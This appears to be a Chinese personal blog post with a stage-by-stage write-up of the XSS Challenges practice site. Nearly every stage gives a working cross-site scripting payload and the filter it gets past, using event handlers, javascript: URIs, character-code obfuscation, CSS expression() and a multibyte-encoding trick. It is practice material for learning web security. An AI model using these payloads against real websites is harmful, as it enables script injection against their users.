Damn1t
for you I bleed myself dry
FRIENDS
baidu

XSS Challenges

2019-05-03 xss practice

XSS Challenges

平台地址: https://xss-quiz.int21h.jp

1

1
<script>alert(document.domain)</script>

2

1
"><script>alert(document.domain)</script><

3

当在search框输入的时候,发现对<>进行了编码,所以将注意点转入到右边选择框,利用右键检查元素,将japan改为

1
<script>alert(document.domain)</script>

4

1
"><script>alert(document.domain)</script>

查看源码,发现了一个hidden的输入框,查看元素,输入上述exp

5

查看搜索框,限制了maxlength,将其改为50

1
"><script>alert(document.domain)</script>

6

还是尖括号编码,并且只有一个输入框,很烦,提示是事件处理,找了一下关于input的时间处理,找到一个oninput,所以检查元素,然后修改:

1
oninput="javascript:alert(document.domain);"

7

同6相同的方法

8

要求输入一个url,没有任何处理,于是直接利用伪协议:

1
javascript:alert(document.domain);

9

发现第6是个万能解法
方法2:

1
2


10

没过滤尖括号,嘿嘿,过滤了domain,用一段js编码

1
2
3
4
5
6
str = 'document.domain'
output = ''
for(var i = 0;i<str.length;i++){
output +=str.charCodeAt(i)+','
}
console.log(output)

然后:

1
"><script>alert(eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,100,111,109,97,105,110)))</script>

11

s转义为xs,过滤规则如下

Hint: “s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;”

"><iframe src="javascr&#09;ipt:alert(document.domain);"></iframe>
"><iframe src="javas&#99;ript:alert(document.domain);"></iframe>

但是没地址

12

地址:http://xss-quiz.int21h.jp/stage_no012.php?sid=62c192a540aba87e7b6796ce0cbc2cd93fcb0750
规则:

“s/[\x00-\x20\<>\”\’]//g;

1
``onmouseover=alert(document.domain);

仅在ie上可以

13

有问题

14

注:由于题目有点古老,所以建议使用ie8内核的浏览器

1
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

15

由于转义了<>"

1
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

16

1
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

17

贴他人的wp:

看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的IE都已经修复了。

提示:multi-byte character

euc-jp的编码范围:

byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF

byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE

byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE

两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain);

现在发现原来是浏览器版本问题,别用IE8了过这个。

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

干脆跳过拉倒。

18

ie5或者6,再见

19

处理代码是这样的:

1
2
3
4
5
<script>
//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(/:/gi,"");}})(window);
//]]>
</script>

有个hint是:

Twitter DomXss at Sep 24, 2010

多半是这个:https://news.softpedia.com/news/Twitter-Messes-Up-XSS-Bug-Fix-Three-Times-157969.shtml
不过内核问题解决不了
预计解决方案:/#!javascript:alert(document.domain);"

reference:
https://www.codercto.com/a/33998.html
https://www.cnblogs.com/go2bed/p/4131222.html

Author: damn1t

Link: http://microvorld.com/2019/05/03/靶机/xss-quiz/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
hack the box邀请码获取和web challenge
NextPost >
leopold 靶机渗透
CATALOG
  1. 1. XSS Challenges
    1. 1.1. 1
    2. 1.2. 2
    3. 1.3. 3
    4. 1.4. 4
    5. 1.5. 5
    6. 1.6. 6
    7. 1.7. 7
    8. 1.8. 8
    9. 1.9. 9
    10. 1.10. 10
    11. 1.11. 11
    12. 1.12. 12
    13. 1.13. 13
    14. 1.14. 14
    15. 1.15. 15
    16. 1.16. 16
    17. 1.17. 17
    18. 1.18. 18
    19. 1.19. 19